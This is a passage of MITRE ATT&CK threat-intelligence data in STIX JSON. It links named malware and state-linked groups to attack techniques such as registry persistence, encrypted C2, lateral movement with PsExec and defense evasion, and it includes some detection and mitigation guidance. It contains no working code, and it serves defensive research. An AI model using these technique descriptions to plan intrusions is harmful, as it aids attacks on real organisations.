2016)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e1cf08cf-e483-44a1-bdfe-cdfa424d69e5","created":"2021-06-10T15:48:43.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-20T16:57:37.333Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has the ability to create the Registry key name EstsoftAutoUpdate at HKCU\\Software\\Microsoft/Windows\\CurrentVersion\\RunOnce to establish persistence.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1d0aa1d-c1ce-4cbc-bed2-097d6ea256c4","type":"relationship","created":"2021-11-30T19:28:25.894Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-11-30T19:28:25.894Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can use junk code to hide functions and evade detection.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1d0ec8e-0970-4737-9605-1cf8a3ba1371","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-17T00:09:25.827Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can gather network share information.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1d10988-f976-4856-a8bd-e85d5d6af2dc","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for newly constructed files in common folders on the computer system.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1d62223-d58c-4220-bd83-301128199908","type":"relationship","created":"2021-08-05T13:12:05.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:44:12.175Z","description":"Data loss prevention can detect and block sensitive data being uploaded via web browsers.","relationship_type":"mitigates","source_ref":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e1d6806f-8c00-4434-8957-4a86c3c7411b","created":"2022-03-30T14:26:51.854Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for execution of commands and arguments associated with enumeration or information gathering of local accounts and groups such as net user, net account, net localgroup, Get-LocalUser, and dscl.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.","modified":"2022-04-14T14:03:25.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e1e07e90-7012-4a38-82b4-e521ef21e8d9","created":"2022-04-09T19:44:09.464Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) has used a dynamic XOR key and custom XOR methodology for C2 communications.(Citation: MSTIC FoggyWeb September 2021) ","modified":"2022-04-09T19:44:09.464Z","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1ee2aae-72b0-4258-abab-2705d6b9268a","type":"relationship","created":"2021-10-14T22:58:54.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-17T17:04:33.229Z","description":"Using the machine's local time, [XCSSET](https://attack.mitre.org/software/S0658) waits 43200 seconds (12 hours) from the initial creation timestamp of a specific file, .report. After the elapsed time, [XCSSET](https://attack.mitre.org/software/S0658) executes additional modules.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1eebea8-ad12-4c3f-bbdc-10f26bbccda8","type":"relationship","created":"2021-03-08T14:10:51.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:09.413Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can use DriveList to retrieve drive information.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1f316bc-b215-4a72-9108-7c5bd69f0454","type":"relationship","created":"2020-10-21T02:25:07.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-10-21T02:25:07.250Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) has installed multiple new Launch Agents in order to maintain persistence for cryptocurrency mining software.(Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1f4c08f-b5b1-4d62-8f1c-75f4302b0bce","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Shamoon Nov 2016","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"}],"modified":"2019-04-24T23:59:16.274Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) scans the C-class subnet of the IPs on the victim's interfaces.(Citation: FireEye Shamoon Nov 2016)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1f7179b-37ac-4f47-8368-0f55814a6447","type":"relationship","created":"2019-01-31T01:07:58.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:45:35.957Z","description":"[APT32](https://attack.mitre.org/groups/G0050) have replaced Microsoft Outlook's VbaProject.OTM file to install a backdoor macro for persistence.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e1f948d0-7627-408c-a2c9-669e30e43782","created":"2023-01-04T18:57:43.336Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-04T18:57:43.336Z","description":"(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1fba82d-1cd2-4906-92db-ba3aafad72ca","type":"relationship","created":"2020-09-23T14:58:01.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.318Z","description":"[OnionDuke](https://attack.mitre.org/software/S0052) can use a custom decryption algorithm to decrypt strings.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--b136d088-a829-432c-ac26-5529c26d4c7e","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e1fe915a-cc33-4aae-8bd2-d60ee0ff110d","created":"2024-07-25T17:55:50.572Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:55:50.572Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) has used strategic website compromise for initial access against victims.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2048373-fe76-4f99-8608-60eaa05d1b2b","type":"relationship","created":"2019-04-01T21:09:50.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"}],"modified":"2019-07-17T13:11:38.730Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used RTF document that includes an exploit to execute malicious code. (CVE-2017-11882)(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e20b57e5-c010-4b9e-a04e-660daa8b5c87","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2019-03-25T16:57:02.858Z","description":"[Sowbug](https://attack.mitre.org/groups/G0054) obtained OS version and hardware configuration from a victim.(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2116500-b22a-44f6-ad5b-c3e579a67491","type":"relationship","created":"2021-02-11T17:32:31.975Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2021-02-11T17:32:31.975Z","description":"[Windigo](https://attack.mitre.org/groups/G0124) has used a script to check for the presence of files created by OpenSSH backdoors.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e21552ab-290f-4097-b7b6-8529c902a494","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.","source_ref":"x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428","target_ref":"attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e21a2fb4-1ba6-41dc-9278-72f6824382d8","type":"relationship","created":"2019-03-26T16:19:52.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Nyetya June 2017","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."},{"description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA17-181A","source_name":"US-CERT NotPetya 2017"}],"modified":"2020-03-16T18:46:47.182Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) can use valid credentials with [PsExec](https://attack.mitre.org/software/S0029) or wmic to spread itself to remote systems.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e21b903a-6bb3-4250-a32a-fe882ff31f3c","created":"2024-08-13T19:56:16.850Z","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T19:56:16.850Z","description":"(Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"tool--cf23bf4a-e003-4116-bbae-1ea6c558d565","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2250609-d3e3-4297-8564-aff8516f8dc3","type":"relationship","created":"2022-03-21T22:57:40.681Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"modified":"2022-03-21T22:57:40.681Z","description":"[Green Lambert](https://attack.mitre.org/software/S0690) can collect the date and time from a compromised host.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021)","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e22619ba-a141-405c-92e2-4f157f953c14","created":"2023-08-04T18:07:20.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:10:44.708Z","description":"(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e22af0ee-ab7a-4989-9077-fe538a3ad03d","type":"relationship","created":"2020-06-30T00:39:39.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}],"modified":"2020-06-30T00:39:39.941Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) has used rundll32.exe to execute components of VirtualBox.(Citation: Sophos Ragnar May 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e230326e-186e-490e-9299-fbc000d33d0a","type":"relationship","created":"2020-03-12T17:28:00.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-03-12T17:28:00.863Z","description":"[FruitFly](https://attack.mitre.org/software/S0277) persists via a Launch Agent.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--4a98e44a-bd52-461e-af1e-a4457de87a36","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2317e9b-9301-4c44-959f-94d66858136c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.998Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) uses a large list of C2 servers that it cycles through until a successful connection is established.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e232f720-ab39-43f4-b419-ae8de115c5e6","created":"2017-05-31T21:33:27.079Z","x_mitre_version":"1.0","external_references":[{"source_name":"FireEye FIN7 March 2017","url":"https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: FireEye FIN7 March 